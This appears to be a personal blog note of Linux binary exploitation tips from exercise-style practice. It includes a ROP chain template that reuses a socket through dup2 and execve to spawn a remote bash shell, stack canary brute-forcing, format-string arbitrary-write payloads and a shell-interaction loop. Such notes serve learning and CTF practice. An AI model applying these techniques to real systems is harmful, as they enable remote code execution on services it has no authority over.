Self reminder for exploiting stuffs in linux

So recently i did some excerise in exploiting linux binary with friends and the following are the common pitfalls which i stumbled many times which may help you or the future me should I need to do the same. Also as i kept doing this, i will try to update this note later.

general exploiting stuffs

Stack grow down, Heaps grows upward... and that's the way the cookies crumbles

correct strace when you execute dup2...execve to reuse the socket file descriptor:

dup2(4,0)  
dup2(4,1)  
dup2(4,2)  
execve("/bin/bash",["/bin/bash","-i"])  

which translates to the following rop chain (i made mistake of swapping rsi and rdi for dup2 which result in forwarding socket file descriptor to the others instead of the reverse):

pop rsi ; ret  
\x00\x00\x00\x00\x00\x00\x00\x00
pop rdi ; ret  
\x04\x00\x00\x00\x00\x00\x00\x00
pop rax ; ret  
\x21\x00\x00\x00\x00\x00\x00\x00
syscall ; ret  
pop rsi ; ret  
\x01\x00\x00\x00\x00\x00\x00\x00
pop rax ; ret  
\x21\x00\x00\x00\x00\x00\x00\x00
syscall ; ret  
pop rsi ; ret  
\x02\x00\x00\x00\x00\x00\x00\x00
pop rax ; ret  
\x21\x00\x00\x00\x00\x00\x00\x00
syscall ; ret  
pop rdi ; ret  
{address for "/bin/bash\x00"}
pop rsi ; ret  
{address to array of pointer to "/bin/bash\x00" and "-i\x00" and 8*0x00 to end argument array}
pop rdx ; ret  
\x00\x00\x00\x00\x00\x00\x00\x00
pop rax ; ret  
\x3b\x00\x00\x00\x00\x00\x00\x00
syscall ; ret  

Even with ASLR enabled, the offset from the binary base address to the libraries are always the same. So whether via stringformat or bruteforce that you can work out the RIP/return address. You can calculate or bruteforce the address of libc to use for ropchain. A friend of mine recently sent me this paper, which is really good to check out.

Canary is stack protection. However, depends on server's behaviour, we could bruteforce this value byte by byte. If the server fork a new child, It's important to note that the canary stays the same.

Some useful commands when learning exploits in linux are:

  • Memory map: cat /proc/{PID}/maps
  • Look at file descriptor: ls -la /proc//fdd
  • Header information: objdump -x {file}
  • OR Header information: readelf -S {file}
  • Dissambly elf with hex presentation: objdump -D {file}

ROPGadget.py is great but you may want to use with multibr option to get everything. I found that I can only find "syscall ; ret" with this option enable. Otherwise you can always fall back to bgrep :)

  • python ROPgadget.py --binary /lib/x86_64-linux-gnu/libc-2.19.so --multibr

String format stuffs

In string format attack, to write a null byte do the following:

  • %256c%{argument number}$hhn

When you write 2 bytes at the same time using %hhn, remember "%hhn number of bytes written so far" so whatever was written in the 1st byte will also be added to the second byte. A simple trick is to overflow the second byte.So forexample, if you need to write 0x1b2a:

bytesToWrite = 0x1b2a  
firstbyte = bytesToWrite/256  
secondbyte = 256 - firstbyte + (bytesToWrite%256)  
sendmessage("%{0}c%{1}$hhn%{2}c%{3}$hhn".format(str(firstbyte),str(arg1),str(secondbyte),str(arg2)))  

To read/write everywhere, you will want 2 pointers, with the first pointer pointing to the last byte of second pointer. This way you can build something within a 255 bytes-long address that second pointer is pointing to. Usually this can be found on the stack with rbp pointing to previous rbp. (Had a discussion with a friend and of course, in big endian system, sure the address might point to beginning of the next pointer, not the last but we can use 7 bytes above that and if it forms a valid address, you are good to go). By using this 2 pointers, you can now construct a 3rd pointer that point anywhere to read/write.

To read something on the stack:

  • "%{argument}$016lx"

To read something...somewhere:

  • "%{argument}$s"

GDB & Peda(they need to rename this)

peda is great extension for gdb. The following commands i kept reusing and found handy:

  • context stack
  • xinfo
  • procinfo
  • bt
  • pdisass *main

Other crap

After executing your shell (execve("/bin/bash",["/bin/bash","-i"],null ).. remember to wait for bash to execute before you get the result over socket:

def getshell():  
    sleep(0.05)
    s.send(".")
    print(s.recv(4096))
    while (True):
        c = sys.stdin.readline()
        s.send(c)
        sleep(0.05)
        print(s.recv(4096))

In python, if you close the socket, you may not get the final message from the server for debugging. Instead, you could do a shutdown, read the socket then close it.

Assembly and fun shit

disassembly 32 bit assembly binary:

ndisasm -b32 shell.bin 

to execute a random blob of assembly, modifying the assembly code:

global _start
_start:
#assembly code here

make sure any loop, jmp that require symbols are properly referenced.

then executing assembly code:

nasm -f elf32 shell.asm  -g
ld -o shell shell.o -melf_i386
comments powered by Disqus